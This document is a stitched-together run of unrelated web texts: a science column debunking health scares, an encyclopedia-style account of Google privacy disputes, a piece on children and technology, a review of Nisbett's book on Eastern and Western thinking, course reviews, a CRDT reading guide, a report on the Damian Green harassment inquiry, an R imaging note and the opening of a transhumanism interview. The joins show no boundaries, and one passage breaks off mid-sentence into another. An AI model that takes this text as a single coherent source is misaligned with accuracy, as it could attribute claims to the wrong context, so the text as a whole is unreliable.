Kind of scary (on the other hand, maybe we need the extra boys since their sperm counts are all decreasing). But when I look at the data itself, all I see are numbers jumping around in random fashion. And the graph showing the jump in the birth rate of boys in Russia in 1987 (the year of the Chernobyl accident) is a poster child for wishful thinking: The authors superpose a line with a big jump in it, but the data itself looks more like a gradual rise from the 1970s to me.
And how seriously can we take the claim that the supposed sex ratio difference is due to nuclear radiation? After all, 1987 was also the year that a supernova was seen, the Simpsons first appeared on television and Hilary Duff was born.
As dubious as I am about this study, it was the reporting in National Geographic that caught my eye. It seems every good science story needs to amp up the fear factor, preferably with something close to home.
National Geographic obliged by warning that the birth rate for boys could jump on the west coast due to the Fukushima nuclear disaster. Seriously? The dose received in Tokyo, let alone California, was about the same as the extra dose received from a cross country airplane flight. Am I supposed to believe that frequent flyers give birth to noticeably more boys?
Lessons: Data is data, but interpreting data is all too human. Don't trust statements made by commentators, especially, in order: politicians, bloggers and journalists. If you can, look at the original study.
Cell phones cause cancer!
Our last example comes from the World Health Organization, which has decided it does not want to be left behind in the fear-creation game.
On May 31, a committee of the International Agency for Research on Cancer, a part of WHO, reversed previous statements and declared cell phone radiation as "possibly carcinogenic to humans (group 2B)." This came as a shock since I have argued in this newspaper that cell phones, because of the wavelength of the radiation they emit, simply cannot cause cancer.
But what does "possibly carcinogenic (group 2B)" mean? I went to the WHO website and found a long list of things in group 2B, including a bunch of funky chemicals, carpentry and joinery, coffee, diesel fuel, gasoline, firefighting, magnetic fields, nickel, pickled vegetables and talc. Even if I believed their conclusions for a second (and I don't), it appears that cell phones are not particularly dangerous.
So, what is the evidence that the WHO is using to frighten 5 billion cell phone users?
First, WHO committee members did no new research, they simply reviewed previous studies. Their press release said they found a positive association between cell phone use and a type of brain cancer called glioma, and it referred readers to a report that eventually appeared in the Lancet.
There I found that the WHO conclusion is based on one number in last year's INTERPHONE study. This study reported lower than usual brain cancer rates for all cell phone users except for those 10 percent with the highest usage rate, who had a 40 percent greater than normal rate of glioma (but not meningioma). The researchers noted that the statistics associated with this group were likely biased and that the margin of error for the reported 40 percent increase was huge, ranging from no increase to a 90 percent increase.
It is no wonder they concluded that "overall, no increase in risk of glioma or meningioma was observed." Apparently the WHO committee begged to differ. It also chose to ignore dozens of other studies that have found no effect (for example, one from 2009 in the Journal of the National Cancer Institute).
One could argue that this was simply being prudent, but I do not call needlessly frightening 5 billion people prudence, I call it recklessness.
Lesson: Even august bodies can fly off the handle.
I don't want to give the impression that all studies are bad. Many epidemiological studies have dramatically improved the lot of mankind. Among them are Percivall Pott's demonstration in 1775 that soot was causing scrotal cancer in chimney sweeps, John Snow's proof that cholera is water borne in 1854, and the discovery that cigarette smoke causes lung cancer in the 1950s.
The conclusion about smoking did not come easily -- in a 1947 conference on the causes of lung cancer everything except cigarette smoke was blamed: influenza, fog, X-rays, road tar, the common cold, coal fires, industrial pollutants, gasworks and car exhaust. Sometimes we scientists are a bit slow, but we get there eventually!
Yet something seems wrong with the medical research system. In fact studies show that 80 percent of nonrandomized studies turn out to be wrong. And 25 percent of gold standard randomized studies are wrong.
Medical researchers have powerful incentives to make a splashy discovery. And boring null results tend not to be published. When these issues are combined with sloppiness in experimental design and procedures, false results are the inevitable result.
This is a regrettable feature of our medical research system and is something we have to live with. Better training, better vetting and better procedures (such as registering studies before they are done) could improve the situation immensely; unfortunately there appears to be little movement or motivation in the medical community to implement the required changes.
So, take everything you read with a grain of salt (but not too many, studies indicate it is bad for you).
Eric Swanson is a professor of physics at the University of Pittsburgh and a Fellow of the American Physical Society. He blogs at is a professor of physics at the University of Pittsburgh and a Fellow of the American Physical Society. He blogs at www.sciencestew.com
First published on July 24, 2011 at 12:00 amRegarding privacy concerns with the technology corporation Google, Google's privacy change (March 1, 2012) enables the company to share data across a wide variety of services.[1] These embedded services include millions of third-party websites that use Adsense and Analytics. The policy was widely criticized for creating an environment that discourages Internet-innovation by making Internet users more fearful and wary of what they put online.[2]
Around December 2009, after privacy concerns were raised, Google's CEO Eric Schmidt declared: "If you have something that you don't want anyone to know, maybe you shouldn't be doing it in the first place. If you really need that kind of privacy, the reality is that search engines—including Google—do retain this information for some time and it's important, for example, that we are all subject in the United States to the Patriot Act and it is possible that all that information could be made available to the authorities."[3]
Privacy International has raised concerns regarding the dangers and privacy implications of having a centrally located, widely popular data warehouse of millions of Internet users' searches, and how under controversial existing U.S. law, Google can be forced to hand over all such information to the U.S. government.[4] In its 2007 Consultation Report, Privacy International ranked Google as "Hostile to Privacy", its lowest rating on their report, making Google the only company in the list to receive that ranking.[4][5][6]
At the Techonomy conference in 2010, Eric Schmidt predicted that "true transparency and no anonymity" is the path to take for the internet: "In a world of asynchronous threats it is too dangerous for there not to be some way to identify you. We need a [verified] name service for people. Governments will demand it." He also said that, "If I look at enough of your messaging and your location, and use artificial intelligence, we can predict where you are going to go. Show us 14 photos of yourself and we can identify who you are. You think you don't have 14 photos of yourself on the internet? You've got Facebook photos!"[7]
In the summer of 2016, Google quietly dropped its ban on personally-identifiable info in its DoubleClick ad service. Google's privacy policy was changed to state it "may" combine web-browsing records obtained through DoubleClick with what the company learns from the use of other Google services. While new users were automatically opted-in, existing users were asked if they wanted to opt-in, and it remains possible to opt-out by going to the "Activity controls" in the "My Account" page of a Google account. ProPublica states that "The practical result of the change is that the DoubleClick ads that follow people around on the web may now be customized to them based on your name and other information Google knows about you. It also means that Google could now, if it wished to, build a complete portrait of a user by name, based on everything they write in email, every website they visit and the searches they conduct." Google contacted ProPublica to correct the fact that it doesn't "currently" use Gmail keywords to target web ads.[8]
Potential for data disclosure [ edit ]
Data leaks [ edit ]
On March 10, 2009, Google reported that a bug in Google Docs had allowed unintended access to some private documents. It was believed[by whom?] that 0.05% of all documents stored via the service were affected by the bug. Google stated the bug has now been fixed.[9]
Cookies [ edit ]
Google places one or more cookies on each user's computer, which is used to track a person's web browsing on a large number of unrelated websites, and track their search history. If you are logged into a Google service, Google also uses the cookies to record which Google Account is accessing each website and doing each search. Originally the cookie did not expire until 2038, although it could be manually deleted by the user or refused by setting a browser preference.[10] As of 2007, Google's cookie expired in two years, but renewed itself whenever a Google service is used.[10] As of 2011, Google said that it anonymizes the IP address data that it collects, after nine months, and the association between cookies and web accesses after 18 months.[11] As of 2016, Google's privacy policy does not promise anything about whether or when its records about your web browsing or searching are deleted from its records.[11]
The non-profit group Public Information Research launched Google Watch, a website advertised as "a look at Google's monopoly, algorithms, and privacy issues."[12][13] The site raised questions relating to Google's storage of cookies, which in 2007 had a life span of more than 32 years and incorporated a unique ID that enabled creation of a user data log.[10] Google faced criticism with its release of Google Buzz, Google's version of social networking, where Gmail users had their contact lists automatically made public unless they opted out.[14]
Google shares this information with law enforcement and other government agencies upon receiving a request. The majority of these requests do not involve review or approval by any court or judge.[15]
Tracking [ edit ]
Google is suspected of collecting and aggregating data about Internet users through the various tools it provides to developers, such as Google Analytics, Google Fonts, and Google APIs. This could enable Google to determine a user's route through the Internet by tracking the IP address being used through successive sites (cross-domain web tracking). Linked to other information made available through Google APIs, which are widely used, Google might be able to provide a quite complete web user profile linked to an IP address or user. This kind of data is invaluable for marketing agencies, and for Google itself to increase the efficiency of its own marketing and advertising activities.[16]
Google encourages developers to use their tools and to communicate end-user IP addresses to Google: "Developers are also encouraged to make use of the userip parameter to supply the IP address of the end-user on whose behalf you are making the API request. Doing so will help distinguish this legitimate server-side traffic from traffic which doesn't come from an end-user."[17]
Gmail [ edit ]
Steve Ballmer,[18] Liz Figueroa,[19] Mark Rasch,[20] and the editors of Google Watch[21] believe the processing of email message content by Google's Gmail service goes beyond proper use.
Google Inc. claims that mail sent to or from Gmail is never read by a human being other than the account holder, and content that is read by computers is only used to improve the relevance of advertisements and block spam emails.[22] The privacy policies of other popular email services, like Outlook.com and Yahoo, allow users' personal information to be collected and utilized for advertising purposes.[23][24]
In 2004, thirty-one privacy and civil liberties organizations wrote a letter calling upon Google to suspend its Gmail service until the privacy issues were adequately addressed.[25] The letter also called upon Google to clarify its written information policies regarding data retention and data sharing among its business units. The organizations voiced their concerns about Google's plan to scan the text of all incoming messages for the purposes of ad placement, noting that the scanning of confidential email for inserting third party ad content violates the implicit trust of an email service provider.
In 2013, Microsoft launched an advertising campaign to attack Google for scanning email messages, arguing that most consumers are not aware that Google monitors their personal messages to deliver targeted ads.[26] Microsoft claims that its email service Outlook does not scan the contents of messages and a Microsoft spokesperson called the issue of privacy "Google's kryptonite."[26] Other concerns include the unlimited period for data retention that Google's policies allow, and the potential for unintended secondary uses of the information Gmail collects and stores.[27]
A court filing uncovered by advocacy group Consumer Watchdog in August 2013 revealed that Google stated in a court filing that no "reasonable expectation" exists among Gmail users in regard to the assured confidentiality of their emails. According to the British Newspaper, The Guardian, "Google's court filing was referring to users of other email providers who email Gmail users – and not to the Gmail users themselves".[28] In response to a lawsuit filed in May 2013, Google explained:
... all users of email must necessarily expect that their emails will be subject to automated processing... Just as a sender of a letter to a business colleague cannot be surprised that the recipient's assistant opens the letter, people who use web-based email today cannot be surprised if their communications are processed by the recipient's ECS [electronic communications service] provider in the course of delivery.[28]
A Google spokesperson stated to the media on August 15, 2013 that the corporation takes the privacy and security concerns of Gmail users "very seriously."[28]
CIA and NSA ties [ edit ]
In February 2010, Google was reported to be working on an agreement with the National Security Agency (NSA) to investigate recent attacks against its network. And, while the deal did not give NSA access to Google's data on users' searches or e-mail communications and accounts and Google was not sharing proprietary data with the agency, privacy and civil rights advocates were concerned.[29][30]
In October 2004, Google acquired Keyhole, a 3D mapping company. In February 2004, before its acquisition by Google, Keyhole received an investment |
created a stream of questions: "What are you writing about me?" "Why can't you just get a picture of a kid on an iPad from Google?"
As well as making me realise that my kids have little respect for copyright, it also made me see that they are pretty sophisticated consumers.
"Actually they are scrutinisers," said Mr Tapscott. "When I was young if I saw a picture, it was just a photo, these days kids look at pictures and ask whether it has been photoshopped."
As for data privacy, there is evidence that companies are beginning to understand that individuals want to wrest back control of what could be their greatest asset, their data. Companies are now developing apps and dashboards that allow people to store all the information that they share online in one place.
Some think eventually we will even sell our data as a commodity to the advertisers so desperate to throw it back at us in a personalised form. Respect Network is setting up a platform that will allow peole to choose who they share their data with.
Meanwhile, the amount of control individuals have over the information that exists online about them is also being challenged.
Last month the Court of Justice of the European Union ruled in favour of the "right-to-be-forgotten" principle, ordering Google to remove links to sites with information about an individual's financial history that he had deemed out-of-date.
Such rules may be welcomed by our children as they seek to wipe out the profiles they created when they were teenagers or younger to replace with a more sober, grown-up digital CV.
And there could be a lot of data to wipe - according to the Pew Internet Centre, up to half of US children have a mobile phone by the time they are 12 and increasingly parents are creating email accounts and social media profiles for their new-born babies.
Anecdotal evidence suggests many parents these days are more likely to buy their toddler a tablet than a cuddly toy.
Porn filters
Having such an early interaction with technology has led to a glut of studies questioning whether our children spend too much time immersed in the addictive digital world and too little time crossing roads, playing in mud and chasing butterflies.
Image copyright Thinkstock Image caption Can we get the balance right between life online and life outdoors?
A lot of it comes down to sensible parenting, thinks Mr Tapscott.
"Parents need to make choices. Say no devices at dinner, in restaurants. Draw up a social contract about when technology can be used," he says.
He is not a fan of the trend towards net filters, where ISPs around the world, including the biggest four in the UK, increasingly offer parents the option to block out pornography.
"The best way to deal with pornography is not to prevent access but talk to our kids about it," he insists.
The really important question for the optimists such as Mr Tapscott is how schools deal with our tech-savvy youngsters.
"For the first time in history, children are an authority on something really important - how the digital world is changing our institutions."
He is not convinced schools have understood the enormity of that change:
"Children don't learn the way we learnt, but the classroom hasn't changed since the industrial revolution."
While there are plenty of schools doing innovative stuff with technology, there is also evidence that many teachers remain scared of its potential.
Just this month, a report from the Association of Teachers and Lecturers called for government guidelines on the amount of time children should spend on net-connected devices.
Director Mark Langhammer said: "We're hearing reports of very young children who are arriving into school quite unable to concentrate or socialise properly because they're spending so much time on digital games or social media."
But far from restricting access, Mr Tapscott thinks we need to stop seeing online as bad and offline as good.
"There is a lot of cynicism about net addiction, losing social skills, being an army of narcissists only interested in Facebook and selfies. I found that none of that is true.
"They are the smartest generation ever."Culture plays a big role in how we see the world, how we think about it, and how we act in it. A person born into one culture can end up with a very different type of mindset than a person born into another culture.
In The Geography of Thought: How Asians and Westerners Think Differently and Why, social psychologist Richard Nisbett shares his extensive research into how “Western” and “Eastern” minds differ in many ways, from how they think and perceive the world to how they develop social norms and political institutions.
Most of the research in the book compares “Westerners” from the United States, Canada, and Great Britain to “Easterners” from China, Korea, and Japan. While of course there is a lot of variety within any single culture, in general Nisbett found some interesting psychological differences between the East and West that could explain why our cultures are so different.
One of the basic findings is that Westerners tend to be more focused on objects and analytical thinking, while Easterners are more focused on relationships and holistic thinking.
Westerners focus more on objects, identifying their properties, categorizing them, and discovering laws and principles that govern their behavior. They often break things down to understand them, thinking from a more reductionist or atomistic perspective.
This way of thinking is one reason Western culture has often led to major advancements in logic, science, and technology. Science in particular relies on isolating variables and testing them in a controlled environment where all other factors are held constant. “All things being equal…” is a very Western way of thinking.
Easterners focus more on relationships between things, identifying the interdependent nature of existence, and practicing a “middle way” perspective on truth – allowing more flexibility of what they consider true, depending on the context or situation.
This way of thinking is one reason Eastern culture is often more open to paradoxes and contradictions that don’t always present neat and specific rules for how the world works.
Of course, these ways of thinking aren’t exclusive to either culture, but they are patterns discovered in a wide range of studies and research. Psychologist Nisbett also stresses the fact that neither way of thinking is necessarily “right” or “wrong,” but each comes with its own advantages and disadvantages.
Analytic Focus vs. Holistic Focus
To test whether Westerners are more focused on objects and their properties and Easterners are more focused on relationships between objects, psychologist devised some interesting experiments.
In one study, Asians and Americans were shown 2 similar pictures and were asked to find little differences between them. Some of the differences were object-related (like a part of a plane missing) and some of the differences were relationship-related (like two planes being closer together). Results showed that the Americans were more likely to identify object-related differences, while Asians were more likely to identify relationship-related differences.
In another study, participants were presented short animated movies of an underwater scene with fish, plants, pebbles, and other background elements, like a frog and a snail. They were then asked to describe the scene they saw. Both Asians and Americans discussed objects in the foreground (there was one “focal” fish moving around), but Asians were more likely to mention the background elements and also to write about the environment as a whole (“It looked like a pond.”)
Studies like these support the idea that Westerners have a “narrower vision” when they are scanning their environment, often paying attention to objects and analyzing their properties, while Easterners have a “broader vision” that often looks at relationships between objects and the environment as a whole.
Thinking in Categories vs. Relationships
According to Nisbett’s research, Westerners are more likely to mentally group things together in terms of “categories” while Easterners are more likely to mentally group things together in terms of “relationships.”
In one simple experiment, Asian and American college students were given a series of pictures asking them to choose what object was the best match with another object. Here’s an example below:
Which choice best matches with the bull at the bottom?
Most Americans chose the “chicken” as the best match for the “bull,” since both were seen as part of the same category: “animals.” However, most Asians chose the “grass” as the best match for the “bull,” because they were looking at it in terms of the relationship: “The bull eats the grass.”
This again illustrates how Westerners focus more on objects, properties, and categories, while Easterners focus more on relationships, context, and environment.
Neither perspective is right or wrong, they each give us a different lens to look at the world and interpret it. One perspective is narrower and more analytical, while the other is broader and more holistic. Each can lead us down a different path of thinking about the world.
The Geography of Thought: How Asians and Westerners Think Differently and Why is a fascinating book by social psychologist Richard Nisbett. He explores various differences in how “Westerners” and “Easterners” view the world, and how these might’ve influenced differences in values, culture, society, and politics. This is a really enlightening book to read if you want to learn how our minds can be influenced by culture – and how you can expand your own ways of thinking.
Rule-Based vs. Paradox-Based Thinking
According to Nisbett, Westerners tend to be stricter when it comes to logic and rule-based thinking. This comes from their tendency to group things into categories based on discrete properties.
Check out this example:
Which group do you think the flower at the bottom belongs to?
In the study, most of the Easterners thought the flower belonged to Group A, while most Westerners thought the flower belonged to Group B.
The flower shows the most “family resemblance” to Group A (pedals and leaves). However, the flower shares a “rule” that isn’t being broken by Group B: the stems are straight as opposed to curved.
The opposite of this strict “rule-based thinking” is “paradoxical thinking.”
Westerners tend to believe in the law of identity (“A is A”) and the law of noncontradiction (“A and not-A are impossible”), but Easterners tend to be more open to paradoxical and contradictory ways of thinking (“Sometimes A is A, and sometimes it’s not A.”)
The founder of Taoism, Lao Tzu once said: “When the people of the world all know beauty as beauty, there arises the recognition of ugliness; when they know the good as good, there arises the recognition of evil. And so, being and nonbeing produce each other…”
This perfectly encapsulates Eastern “paradoxical thinking.” A visual representation of this is the popular Yin and Yang symbol, which illustrates how everything is partly composed of its opposite.
Fixed Self vs. Dynamic Self
Since Westerners are often more focused on objects and their properties, they tend to view themselves as more fixed and unchanging regardless of the situation, rather than Easterners who see themselves as more dynamic and changing with the situation.
The “fundamental attribution error,” is a popular phenomenon in social psychology where people tend to overemphasize personality factors rather than situational factors to explain someone’s behavior. According to Nisbett’s research, Westerners are more susceptible to this bias than Easterners.
When participants were told a story about a man running late to work who declines to give a homeless man a dollar, Westerners tend to see it as characteristic of the man (“They are selfish”), while Easterners are more likely to consider situational factors as the cause of the behavior (“They were in a rush because they had to get to work”).
Westerners think of themselves and others as having a fixed personality. “I am who I am” and “They are who they are” no matter what the situation is. But Easterners think of themselves as having a more dynamic personality. They can act very differently from one situation to another and not see it as hypocritical or contradictory.
Easterners are more open to the idea that they are changing from moment-to-moment, day-to-day. Who they are today is different than who they were yesterday. From a self improvement standpoint, the idea of an always “changing self” was a critical insight I got from reading Eastern philosophies like Buddhism and Taoism.
This type of thinking is also shown in many Western religions that believe in an immortal self that is everlasting, while Eastern religions tend to view the self as always dying and being reborn into something new (such as the ideas of “reincarnation” in Buddhism or Hinduism).
Individualism vs. Collectivism
In this article we’ve covered basic differences in perception, thinking, and beliefs, but how might these differences also lead to different social and political institutions in each culture?
Western societies usually emphasize values like individualism, freedom, creativity, and even dissent. They see the “individual” as its own entity – independent from society – and every person is entitled to their own choices, rights, property, and pursuit of happiness.
Eastern societies usually emphasize values like collectivism, harmony, compromise, and peace. They don’t see society as just “individuals” but an interconnected web of people who must each play their part and work together for a greater whole.
Perhaps Westerners focus on fixed and independent objects has contributed to their philosophy of individualism. Western culture often de-emphasizes situational and environmental factors and sees all individuals as subject to the same universal rules and principles regardless of the context.
And perhaps Easterners focus on relationships and interconnectedness has contributed to their philosophy of collectivism. Eastern culture emphasizes situational factors and changing conditions, and are less likely to govern their societies by universally applicable rules and principles.
Of course, these are huge generalizations and they aren’t set in stone. But these patterns do seem to hold to different degrees and they are worth thinking about.
How Should People Think?
In The Geography of Thought, Richard Nisbett mentions many times how neither “Western” nor “Eastern” thought is necessarily better than the other, they are just different ways of approaching life. As you read through some of these differences, you can probably see how each has their own advantages and disadvantages.
It’s also important to remember that the concepts of “Western” and “Eastern” are a very rudimentary breakdown of cultural differences. Most of Nisbett’s research tested Asians from China, Korea, Japan, and Taiwan and Westerners from United States, Canada, and Great Britain. There were other studies that included other countries, but obviously there are always different cultures to study further.
Now that we are living in a global world with the internet and other communication technologies, it’s easy to see how these cultures can begin feeding off of each other. Much of the world is influenced by Western culture to some degree, and Western culture too has begun integrating concepts from the East (such as the rise of Buddhism, meditation, and yoga).
In general, there’s a benefit to exposing yourself to other cultures and to become more familiar with other ways of thinking. Studies find even just traveling and spending a few months in a different country can change people’s ways of thinking in small but significant ways.
The research in this book is also strong evidence for diversity in business, politics, and other organizations. Since cultures bring different perspectives and “cognitive tools” with them, a diverse group of people may be better able to solve problems than if they were just a homogenous group of people whom all think the same way.
Overall I highly recommend you check out this book and learn how “Western” and “Eastern” minds differ. There are many interesting facts and studies that I didn’t get to mention here – and there’s a lot of insight and thought-provoking ideas throughout the book.
Stay updated on new articles and resources in psychology and self improvement:Reviews
Brendan McGuigan This was one of the best workshops I've ever taken in my life – in person or digital. Andrew is a fantastic teacher – if I hadn't known his first career was as a professor, I would have guessed it based on the quality of teaching. He had a casual attitude, sense of fun, and easy-going manner of speech that made him immediately accessible, and a joy to watch for the entire sixteen hours (which I completed in just under three days). For me, the main value of the workshop was to be found in the first day. Andrew went through his artistic process, dropped tips along the way, and gave a real sense of how his brain works when thinking about a scene – everything from creating the food, to styling, to composing the shot. I happen to love his use of light, and getting an insight into how he crafts his backlighting and bounce was very useful. Day two had some nuggets of wisdom – and some great hands-on – but much of the tool tutorials and post-production workflow aspects will be less useful to those who are already professional photographers looking to branch out into a new discipline. Still, one of the standouts to me was seeing just how little he does in technical post – a good reminder that incredible shots can be captured 90% in camera. The segment with a food blogger, although not relevant to me, was captivating and insightful, and the rapport between Andrew and Shauna James Ahern was delightful. Day three was great for anyone needing a refresher on the business aspects, and some of specifics of the food photography business were good to hear in detail. For those already selling their work, who are familiar with licensing agreements, copyright, stock, etc., this may be redundant, but it's always good to be reminded of these things by an expert at the top of their game. Andrew's conclusion nearly had me in tears. He is obviously an incredibly passionate, giving, and humble artist, who not only feels blessed in his own life, but feels compelled to pass on some of his good fortune. That's a wonderful thing to see, and honestly gave me a nice boost of motivation to up my personal game. Throughout the workshop I found Andrew's lesson plan spot on. His in-studio students asked great questions, and the questions selected from the online audience filled in a lot of the blanks. While I may have liked to have seen a bit more hands-on from Andrew – just to get more of a feel for his process – all in all I felt like this covered everything I was hoping to gain from it. I would highly recommend this to anyone looking to get into food photography – whether you're a complete novice or a seasoned professional photographer who wants to explore food. Whether it's for advertising, editorial, stock, or blogging, he really covers it all, exploring both broad concepts and very specific practical applications. I can't rave enough about this. If you're at all on the fence, buy it. You'll be glad you did.
a Creativelive Student Day one was a good investment for me. After that... not so much. Not sure this is really about photography. For sure, Andrew is an artist, he's great at communicating the art of the food, the art of proping, but explanations about how to make images is very simplistic. For instance he makes a pretty big blunder explaining the "math" of photography. He says his favorite setting is f4/125th, at iso 100. His grasp of lighting beyond window light and reflectors left me a little flat. He does a good job of explaining his style -- which in spite of it all -- I like. And to be fair, Andrew is an editorial food photographer. If you're interested in opening a food photography studio and doing product work -- this may not be the class for you. I think this is a good class for cooks and bloggers who want to make images of their food. If you're a beginning food shooter, you will find the information about styling and proping useful. Having watched some of Pennhy de Los Santos and Andrew, the editorial people seem to over simplify lighting and camera and lens work. At the same time, there seems to be a theme emerging in photography and that is that it's really almost better to be highly versed in another discipline and come to photography through the back door... (e.g. a rock climber who picks up a camera, a conservationist who decides to document the changing landscape and wildlife, a cook who just so happens to like taking images). Photography, for its own sake, seems to be a thing of the past. At the end of the day the class is $129 -- so... not like you have to take out student loans to get something out of it. This guy is likable, and sincere, and makes a huge effort o be helpful to anyone interested in shooting food -- and it's hard to ignore his personal success.This is a work in progress post outlining research topics related to conflict-free replicated data types, or CRDTs.
Yesterday, Basho announced the release of Riak 2.0.0 RC1, which contains a comprehensive set of “data types” that can be used for building more robust distributed applications. For an overview of how to use these data types in Riak to avoid custom, and error prone, merge functions, see the Basho documentation site.
You’re probably more familiar with another name for these data types: conflict-free replicated data types (CRDTs). Simply put, CRDTs are data structures which capture some aspect of causality, along with providing interfaces for safely operating over the value and correctly merging state with diverged and concurrently edited structures.
This provides a very useful property when combined with an eventual consistency, or AP-focused, data store: Strong Eventual Consistency (SEC). Strong Eventual Consistency is an even stronger convergence property than eventual consistency: given that all updates are delivered to all replicas, there is no need for conflict resolution, given the conflict-free merge properties of the data structure. Simply put, correct replicas which have received all updates have the same state.
Here’s a great overview by one of the inventors of CRDTs, Marc Shapiro, where he discusses conflict-free replicated data types and their relation to strong eventual consistency.
In this Hacker News thread, there was an interesting discussion about why one might want to implement these on the server, why implementing them is non-trivial, and what the most recent research related to them consists of.
This post serves as a reading guide on the the various areas of conflict-free replicated data types. Papers are broken down into various areas and sorted in reverse chronologically.
Basics
Overviews and history of the various conflict-free replicated data types, implementation details, problem statements, etc.
Causality
Advanced causality tracking mechanisms, each focusing on a particular specific problem. Important in the implementation of some CRDTs and for historical purposes.
Uses
Various insights into developing on, and using, CRDTs in systems.
Optimizations
Optimizations, critical to making some CRDTs practical.
Verification
Verification of CRDTs and their use in eventually consistent applications.
Computations
Computing with CRDTs.
Talks
Finally, for those of you who learn more by watching, here’s some talks.
I’m hoping to make this into a living document, so please submit pull requests or leave comments!Inquiry into cabinet minister is understood to be examining whether he briefed newspaper against Kate Maltby
Kate Maltby, the Conservative activist who has made allegations of sexual harassment against the first secretary of state, Damian Green, received a series of “violent threats” after the Daily Mail published an article calling her “one very pushy lady”, her friends say.
With a Cabinet Office inquiry into Green’s case understood to be examining whether he played a role in briefing the newspaper against Maltby, her allies say the critical piece coincided with a flurry of threats against her, some of which she is in the process of reporting to police.
The Mail article quoted a Tory source dismissing Maltby as a “political groupie”, and another saying: “She might be more careful the next time she’s asked to write a piece trashing a decent man.”
Some at Westminster believe the piece and similar articles may have deterred other potential victims of harassment from coming forward. Maltby’s friends say she received threats on social media and by email.
Green declined to comment, but allies vehemently insisted that neither he nor any of his advisers had played any role in influencing the Mail article.
Green, who was a friend of Theresa May’s when the pair attended Oxford University together, has continued in his post while the Cabinet Office head of ethics, Sue Gray, examines his case.
The Labour MP Jess Phillips, who has campaigned against sexual harassment, said: “If it is found that Green or his people had anything to do with the Mail hatchet job on Kate Maltby in order to put off other women coming forward, the prime minister must sack him or eat every single word she has ever said about violence against women.”
The alleged threats against Maltby come amid growing concern at Westminster about the climate of political debate, with female MPs in particular reporting frequent threats and personal insults.
The prime minister this weekend condemned violent language used to attack Conservative MPs who rebelled against the government on the EU withdrawal bill last week, which some of the rebels also blamed on hostile press coverage, including in the Mail and Daily Telegraph.
After the Mail described the rebels as “self-consumed malcontents”, who had “betrayed their leader, party and 17.4 million Brexit voters”, Dominic Grieve, who tabled the key amendment, as well as his fellow rebel Anna Soubry, said they had received personal threats.
May tweeted on Saturday:
Theresa May (@theresa_may) Threats of violence and intimidation are unacceptable and have no place in our politics. Everybody should be treated with tolerance, decency and respect.
Green’s fate is likely to be announced this week, though he could then face a separate investigation by the parliamentary standards watchdog.
Gray is understood to have considered evidence on Maltby’s claim that Green appeared to solicit sex from her in exchange for political mentoring, and separate allegations about porn being found on his office computer in a police raid almost a decade ago.
In an article last month for the Times which prompted the inquiry, Maltby said she had met Green in a Waterloo pub, where she said the MP had offered to help her take steps towards becoming a Conservative candidate. She alleged that he had touched her knee during the meeting, as he mentioned that his wife was “very understanding”.
Maltby described a conversation that touched on affairs of acquaintances. Then, she said, she “felt a fleeting hand against my knee, so brief it was almost deniable”.
The activist said she had avoided Green after their encounter, but then wrote a piece for the Times in 2016 for which she was pictured wearing a corset. Green then texted her unprompted, she said, saying: “Long time no see. But having admired you in a corset in my favourite tabloid, I feel impelled to ask if you are free for a drink anytime?”
The case was one of several that emerged after a string of allegations against the media mogul Harvey Weinstein raised questions about the culture of sexual behaviour in other industries.
A spokesman for the Daily Mail said: “It is outrageous and utterly spurious to link these threats to the Daily Mail. There was nothing in the Mail’s coverage which incited threats of any kind and the Mail unreservedly condemns anyone who has made such threats.”Opening and merging microscope images in R
First off I’ll start by saying: there are plenty of free software that are better suited to manipulating microscope images such as ImageJ/FIJI or even python/Scikit-image. However R is great for analysing the numerical data that comes from image analysis, and I was tired of my disjointed workflow that usually involved finding an interesting result in R, and then firing up FIJI to check the image associated with that result – and I actually had the image URLS in my metadata, so I wanted a way for R to read that image URL, open the image and display it in a useful manner.
I found the raster package that can open.tif files, I’ve not tried it with any unusual file formats, though BioFormats should probably be your port of call in that case.
Example
I’m going to use some example images from the Broad Bioimage Benchmark collection, which are Drosophila Kc157 cells imaged in two channels stained for DNA and actin.
To load the images use the raster function.
And to display the individual channels simply use plot.
Then to plot the merged images. If you don’t want to stretch the intensity values to maximise contrast, remove the stretch = "lin" argument.
If you want to change the colours of the channels you have to tell plotRGB which position in the brick object you want each colour. It seems you have to use all RGB channels.
Tada!
Next steps
I’ve found this quite slow when opening and merging high-resolution.tifs, somewhere in the order of 30 seconds for three 10MB files. Next step is data-points within a scatter plot linked to the images, click the point and the associated merged image will be displayed – shouldn’t be too difficult…Ben Goertzel Dialogues with Lincoln Cannon of the Mormon Transhumanist Association
According to my informal observations, the majority of transhumanists don’t consider themselves affiliated with any traditional religious organizations or belief systems – though some, like Giulio Prisco, are deeply interested in the creation of new spiritual traditions founded on transhumanist ideas. However, there is also a nontrivial minority of transhumanists who combine their transhumanism with traditional religious beliefs and membership in traditional religious organizations. And among the most vocal of the religious transhumanists has been the Mormon Transhumanist Association (MTA) – a group consisting of of 116 members, with approximately 41% living in Utah and 90% living in the United States.
Last year Hank Hyena interviewed Lincoln Cannon, the co-founder, director and president of the MTA, for H+ Magazine. My goal in doing this follow-up dialogue with Lincoln was to dig a bit deeper into the related issues, and try to understand more fully how Lincoln and his colleagues bring together the two thought-systems of Mormonism and transhumanism, which at first glance would seem very different.
Ben:
Since I like to get right to the heart of things, I’ll start off with a fairly blunt question. As you already know, I’m not a religious guy. I’m open to the validity of individual and collective spiritual experiences – but the belief systems of the world’s major religions tend to strike me as pretty absurd … and Mormonism is no exception. Some of the basic teachings of Mormonism, as I read them, seem plainly ridiculous by the lights of modern science. That is, they describe things that seem extremely unlikely according to known scientific theories, and for which there is no available empirical evidence.
A couple random examples are the virgin birth of Jesus, and the literal existence of Celestial and Telestial Kingdoms, etc. etc. You know what I mean…. You’re a very well educated, scientifically and technically literate guy. How can you believe that crazy stuff??
Lincoln:
From some perspectives, aspects of Mormonism are indeed absurd. To paraphrase one prominent atheist, Mormonism is just Christianity plus some other crazy stuff. However, these perspectives overlook or ignore how the other crazy stuff modifies the Christianity! It does so to such an extent that characterizing Mormonism as a mere extension of other modern Christian ideologies is inaccurate. Mormonism is to modern Christianity as ancient Christianity was to Judaism. It is a different religion.
